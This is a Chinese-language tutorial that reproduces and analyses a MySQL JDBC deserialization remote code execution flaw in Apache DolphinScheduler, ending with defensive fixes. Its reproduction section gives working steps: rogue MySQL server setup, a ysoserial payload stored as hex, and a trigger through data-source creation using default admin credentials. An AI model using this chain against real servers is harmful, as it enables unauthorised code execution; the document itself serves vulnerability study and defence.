Dolphinscheduler漏洞复现与分析
字数 1298 2025-08-20 18:17:53
DolphinScheduler 漏洞复现与分析教学文档
0x00 漏洞概述
本漏洞是Apache DolphinScheduler中的一个MySQL JDBC反序列化漏洞,攻击者可以通过构造恶意MySQL服务器或利用特定配置的MySQL服务器,在DolphinScheduler添加数据源时触发反序列化操作,导致远程代码执行(RCE)。
0x01 漏洞原理
该漏洞利用了MySQL Connector/J (5.1.34版本)的一个已知反序列化漏洞(CVE-2017-3523),当detectCustomCollations设置为true时,ServerStatusDiffInterceptor会尝试从MySQL服务器获取字符集信息并进行反序列化操作。
0x02 环境准备
系统要求
- Linux系统(推荐Debian)
- JDK 8u (特定版本)
- MySQL服务器(用于搭建恶意服务器)
工具准备
- ysoserial工具(用于生成反序列化payload)
- rewrite_example.so (MySQL插件)
- DolphinScheduler漏洞版本
0x03 漏洞复现步骤
1. 配置恶意MySQL服务器
- 安装MySQL插件:
cp rewrite_example.so /usr/lib/mysql/plugin/rewrite_example.so
- 在MySQL中执行:
INSTALL PLUGIN rewrite_example SONAME 'rewrite_example.so';
- 创建恶意数据库和表结构:
CREATE database codeplutos;
Use codeplutos;
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;
DROP TABLE IF EXISTS `payload`;
CREATE TABLE `payload` (
`COLLATION_NAME` varchar(255) DEFAULT NULL,
`CHARACTER_SET_NAME` blob,
`ID` int(5) DEFAULT NULL,
`IS_DEFAULT` varchar(255) DEFAULT NULL,
`IS_COMPILED` varchar(255) DEFAULT NULL,
`SORTLEN` int(5) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
INSERT INTO `payload` VALUES ('1big5_chinese_ci', 0x01, 1, 'Yes', 'Yes', 1);
SET FOREIGN_KEY_CHECKS = 1;
2. 生成反序列化payload
- 使用ysoserial生成payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRE8u20 "touch /tmp/1.txt" > payload.bin
- 将payload转换为hex格式:
import binascii
with open("payload.bin", 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()))
print(payload_content)
- 将生成的hex payload写入MySQL:
set @a=0x[生成的hex payload];
update codeplutos.payload set character_set_name = @a;
3. 触发漏洞
- 登录DolphinScheduler (默认凭证: admin/dolphinscheduler123)
- 导航到"数据源管理" -> "创建数据源"
- 填写恶意MySQL服务器信息:
- 数据库类型:MySQL
- 主机:恶意MySQL服务器IP
- 端口:3306
- 用户名/密码:有效MySQL凭证
- 点击"Create"按钮(注意不是"Connect")
4. 验证漏洞
检查目标服务器上是否创建了/tmp/1.txt文件:
ls /tmp/1.txt
0x04 漏洞分析
漏洞触发流程
- DolphinScheduler调用
DriverManager.getConnection()连接MySQL服务器 - MySQL Connector/J尝试获取字符集信息
ServerStatusDiffInterceptor处理服务器返回的数据- 当
detectCustomCollations为true时,会反序列化CHARACTER_SET_NAME字段 - 反序列化过程中执行恶意payload
关键代码分析
// 漏洞触发点
connection = DriverManager.getConnection(
datasource.getJdbcUrl(),
datasource.getUser(),
datasource.getPassword()
);
// 反序列化发生在ServerStatusDiffInterceptor中
// 当检测到自定义排序规则时,会尝试反序列化数据
0x05 防御措施
- 升级MySQL Connector/J到安全版本(5.1.49+)
- 在DolphinScheduler配置中禁用
detectCustomCollations - 限制DolphinScheduler只能连接可信的MySQL服务器
- 更新DolphinScheduler到最新版本